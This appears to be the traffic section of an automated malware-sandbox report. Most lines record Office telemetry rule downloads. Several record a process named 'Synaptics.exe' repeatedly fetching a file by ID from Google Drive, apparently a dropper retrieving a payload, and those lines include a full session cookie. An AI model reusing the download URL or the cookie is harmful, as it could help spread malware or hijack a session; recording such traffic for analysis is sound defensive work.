Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
